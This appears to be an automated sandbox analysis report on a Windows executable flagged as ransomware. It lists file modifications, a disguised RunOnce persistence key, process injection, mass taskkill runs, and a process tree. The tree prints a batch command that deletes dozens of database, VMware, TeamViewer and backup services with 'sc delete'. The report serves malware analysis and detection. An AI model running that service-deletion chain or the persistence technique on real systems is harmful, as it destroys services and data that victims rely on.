Analysis
-
max time kernel
57s -
max time network
120s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
26-11-2020 06:09
Static task
static1
Behavioral task
behavioral1
Sample
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe
Resource
win10v20201028
General
-
Target
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe
Malware Config
Signatures
-
Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\FindAssert.tiff 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Pictures\MergeRequest.tiff 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe -
Stops running service(s) 3 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdateCheck = "C:\\Users\\Admin\\AppData\\Local\\Temp\\30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe" 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe -
Drops desktop.ini file(s) 64 IoCs
Processes:
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exedescription ioc process File opened for modification C:\Users\Public\Pictures\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\Desktop\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default\Start Menu\Programs\Maintenance\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Recent\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Application Data\Start Menu\Programs\Maintenance\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\Libraries\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Start Menu\Programs\Accessibility\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Accessories\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default User\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Start Menu\Programs\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\My Documents\My Videos\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default User\Application Data\Microsoft\Internet Explorer\Quick Launch\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Start Menu\Programs\Accessories\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Application Data\Start Menu\Programs\Startup\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\Videos\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Start Menu\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Windows PowerShell\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Accessibility\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\My Documents\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Application Data\Start Menu\Programs\System Tools\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\Documents\My Music\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\My Documents\My Music\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default User\Start Menu\Programs\Accessories\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default\Start Menu\Programs\System Tools\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Start Menu\Programs\Administrative Tools\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Start Menu\Programs\Accessories\System Tools\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\My Documents\My Pictures\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\Music\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\Documents\My Pictures\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default User\Start Menu\Programs\Accessibility\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Videos\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Searches\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default\Start Menu\Programs\Windows PowerShell\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Maintenance\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Application Data\Start Menu\Programs\Accessories\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\$Recycle.Bin\S-1-5-21-1985363256-3005190890-1182679451-1000\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\Downloads\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default\Start Menu\Programs\Accessibility\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Start Menu\Programs\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Desktop\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Application Data\Start Menu\Programs\Administrative Tools\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\Documents\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default\SendTo\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Start Menu\Programs\System Tools\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Start Menu\Programs\System Tools\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Application Data\Start Menu\Programs\Accessibility\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default User\Start Menu\Programs\Windows PowerShell\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Start Menu\Programs\Startup\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Start Menu\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Administrative Tools\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Application Data\Start Menu\Programs\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Music\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\Documents\My Videos\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Public\AccountPictures\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Default\Start Menu\Programs\Accessories\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\All Users\Start Menu\Programs\Maintenance\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Startup\desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe File opened for modification C:\Users\Admin\SendTo\Desktop.ini 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exedescription ioc process File opened (read-only) \??\Z: 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exedescription pid process target process PID 640 set thread context of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Discovers systems in the same network 1 TTPs 2 IoCs
-
Kills process with taskkill 64 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 6104 taskkill.exe 5936 taskkill.exe 2280 taskkill.exe 1216 taskkill.exe 1324 taskkill.exe 5964 taskkill.exe 5872 taskkill.exe 6416 taskkill.exe 6940 taskkill.exe 5868 taskkill.exe 6960 taskkill.exe 5264 taskkill.exe 4136 taskkill.exe 5024 taskkill.exe 3036 taskkill.exe 6036 taskkill.exe 816 taskkill.exe 6020 taskkill.exe 6536 taskkill.exe 4176 taskkill.exe 6856 taskkill.exe 5576 taskkill.exe 5660 taskkill.exe 4280 taskkill.exe 4864 taskkill.exe 6000 taskkill.exe 5196 taskkill.exe 6100 taskkill.exe 7048 taskkill.exe 6192 taskkill.exe 4776 taskkill.exe 4232 taskkill.exe 5752 taskkill.exe 6312 taskkill.exe 5292 taskkill.exe 6128 taskkill.exe 4940 taskkill.exe 5224 taskkill.exe 6120 taskkill.exe 6888 taskkill.exe 7012 taskkill.exe 6412 taskkill.exe 5280 taskkill.exe 5680 taskkill.exe 5924 taskkill.exe 4936 taskkill.exe 5536 taskkill.exe 6428 taskkill.exe 5600 taskkill.exe 5592 taskkill.exe 4196 taskkill.exe 5164 taskkill.exe 4728 taskkill.exe 3920 taskkill.exe 4828 taskkill.exe 5428 taskkill.exe 6548 taskkill.exe 6680 taskkill.exe 6304 taskkill.exe 6588 taskkill.exe 6796 taskkill.exe 4852 taskkill.exe 6832 taskkill.exe 6012 taskkill.exe -
Modifies registry class 1 IoCs
Processes:
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe -
Runs net.exe
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe Token: SeBackupPrivilege 2308 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe Token: SeRestorePrivilege 2308 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe Token: SeManageVolumePrivilege 2308 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe Token: SeDebugPrivilege 4864 taskkill.exe Token: SeDebugPrivilege 4176 taskkill.exe Token: SeDebugPrivilege 4680 taskkill.exe Token: SeDebugPrivilege 4252 taskkill.exe Token: SeDebugPrivilege 5088 taskkill.exe Token: SeDebugPrivilege 4136 taskkill.exe Token: SeDebugPrivilege 4852 taskkill.exe Token: SeDebugPrivilege 4420 taskkill.exe Token: SeDebugPrivilege 5024 taskkill.exe Token: SeDebugPrivilege 4980 taskkill.exe Token: SeDebugPrivilege 3036 taskkill.exe Token: SeDebugPrivilege 1324 taskkill.exe Token: SeDebugPrivilege 4236 taskkill.exe Token: SeDebugPrivilege 3516 taskkill.exe Token: SeDebugPrivilege 4436 taskkill.exe Token: SeDebugPrivilege 2280 taskkill.exe Token: SeDebugPrivilege 4828 taskkill.exe Token: SeDebugPrivilege 5232 taskkill.exe Token: SeDebugPrivilege 5280 taskkill.exe Token: SeDebugPrivilege 5576 taskkill.exe Token: SeDebugPrivilege 5600 taskkill.exe Token: SeDebugPrivilege 5872 taskkill.exe Token: SeDebugPrivilege 5936 taskkill.exe Token: SeDebugPrivilege 6012 taskkill.exe Token: SeDebugPrivilege 4776 taskkill.exe Token: SeDebugPrivilege 2824 taskkill.exe Token: SeDebugPrivilege 5428 taskkill.exe Token: SeDebugPrivilege 3920 taskkill.exe Token: SeDebugPrivilege 5756 taskkill.exe Token: SeDebugPrivilege 6076 taskkill.exe Token: SeDebugPrivilege 5076 taskkill.exe Token: SeDebugPrivilege 5680 taskkill.exe Token: SeDebugPrivilege 5316 taskkill.exe Token: SeDebugPrivilege 1216 taskkill.exe Token: SeDebugPrivilege 5660 taskkill.exe Token: SeDebugPrivilege 5592 taskkill.exe Token: SeDebugPrivilege 6000 taskkill.exe Token: SeDebugPrivilege 6128 taskkill.exe Token: SeDebugPrivilege 5292 taskkill.exe Token: SeDebugPrivilege 4196 taskkill.exe Token: SeDebugPrivilege 6036 taskkill.exe Token: SeDebugPrivilege 5264 taskkill.exe Token: SeDebugPrivilege 4232 taskkill.exe Token: SeDebugPrivilege 5196 taskkill.exe Token: SeDebugPrivilege 5676 taskkill.exe Token: SeDebugPrivilege 4472 taskkill.exe Token: SeDebugPrivilege 5924 taskkill.exe Token: SeDebugPrivilege 816 taskkill.exe Token: SeDebugPrivilege 4940 taskkill.exe Token: SeDebugPrivilege 5224 taskkill.exe Token: SeDebugPrivilege 5752 taskkill.exe Token: SeDebugPrivilege 6104 taskkill.exe Token: SeDebugPrivilege 5164 taskkill.exe Token: SeDebugPrivilege 4936 taskkill.exe Token: SeDebugPrivilege 5536 taskkill.exe Token: SeDebugPrivilege 5964 taskkill.exe Token: SeDebugPrivilege 6120 taskkill.exe Token: SeDebugPrivilege 6020 taskkill.exe Token: SeDebugPrivilege 6100 taskkill.exe Token: SeDebugPrivilege 6164 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exeWScript.exe30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 640 wrote to memory of 208 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe WScript.exe PID 640 wrote to memory of 208 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe WScript.exe PID 640 wrote to memory of 208 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe WScript.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 640 wrote to memory of 2308 640 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe PID 208 wrote to memory of 2224 208 WScript.exe cmd.exe PID 208 wrote to memory of 2224 208 WScript.exe cmd.exe PID 208 wrote to memory of 2224 208 WScript.exe cmd.exe PID 2308 wrote to memory of 2116 2308 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe cmd.exe PID 2308 wrote to memory of 2116 2308 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe cmd.exe PID 2308 wrote to memory of 2116 2308 30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe cmd.exe PID 2224 wrote to memory of 2092 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 2092 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 2092 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 3532 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 3532 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 3532 2224 cmd.exe cmd.exe PID 2092 wrote to memory of 3176 2092 cmd.exe sc.exe PID 2092 wrote to memory of 3176 2092 cmd.exe sc.exe PID 2092 wrote to memory of 3176 2092 cmd.exe sc.exe PID 2224 wrote to memory of 2284 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 2284 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 2284 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 3748 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 3748 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 3748 2224 cmd.exe cmd.exe PID 3532 wrote to memory of 3976 3532 cmd.exe sc.exe PID 3532 wrote to memory of 3976 3532 cmd.exe sc.exe PID 3532 wrote to memory of 3976 3532 cmd.exe sc.exe PID 2092 wrote to memory of 4068 2092 cmd.exe sc.exe PID 2092 wrote to memory of 4068 2092 cmd.exe sc.exe PID 2092 wrote to memory of 4068 2092 cmd.exe sc.exe PID 3532 wrote to memory of 2372 3532 cmd.exe sc.exe PID 3532 wrote to memory of 2372 3532 cmd.exe sc.exe PID 3532 wrote to memory of 2372 3532 cmd.exe sc.exe PID 2092 wrote to memory of 1196 2092 cmd.exe sc.exe PID 2092 wrote to memory of 1196 2092 cmd.exe sc.exe PID 2092 wrote to memory of 1196 2092 cmd.exe sc.exe PID 2224 wrote to memory of 2640 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 2640 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 2640 2224 cmd.exe cmd.exe PID 3748 wrote to memory of 3964 3748 cmd.exe sc.exe PID 3748 wrote to memory of 3964 3748 cmd.exe sc.exe PID 3748 wrote to memory of 3964 3748 cmd.exe sc.exe PID 3532 wrote to memory of 2324 3532 cmd.exe sc.exe PID 3532 wrote to memory of 2324 3532 cmd.exe sc.exe PID 3532 wrote to memory of 2324 3532 cmd.exe sc.exe PID 2224 wrote to memory of 4036 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 4036 2224 cmd.exe cmd.exe PID 2224 wrote to memory of 4036 2224 cmd.exe cmd.exe PID 2284 wrote to memory of 772 2284 cmd.exe sc.exe PID 2284 wrote to memory of 772 2284 cmd.exe sc.exe PID 2284 wrote to memory of 772 2284 cmd.exe sc.exe PID 2092 wrote to memory of 1844 2092 cmd.exe sc.exe PID 2092 wrote to memory of 1844 2092 cmd.exe sc.exe PID 2092 wrote to memory of 1844 2092 cmd.exe sc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe"C:\Users\Admin\AppData\Local\Temp\30303b663e0b7b9824cc59298b36f824b607b4fb85de53af6aac3a023d895513.exe"1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Jsotgyzofbr.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\killer.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc delete "XT800Service_Personal"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLSERVERAGENT5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLWriter5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLBrowser5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLFDLauncher5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLSERVER5⤵
-
C:\Windows\SysWOW64\sc.exesc delete QcSoftService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLServerOLAPService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMTools5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VGAuthService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSDTC5⤵
-
C:\Windows\SysWOW64\sc.exesc delete TeamViewer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ReportServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RabbitMQ5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AHS SERVICE"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sense Shield Service"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SSMonitorService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SSSyncService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdAppService13005⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQL$SQL20085⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLAgent$SQL20085⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdTaskService13005⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdUpgradeService13005⤵
-
C:\Windows\SysWOW64\sc.exesc delete VirboxWebServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete jhi_service5⤵
-
C:\Windows\SysWOW64\sc.exesc delete LMS5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FontCache3.0.0.0"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"5⤵
-
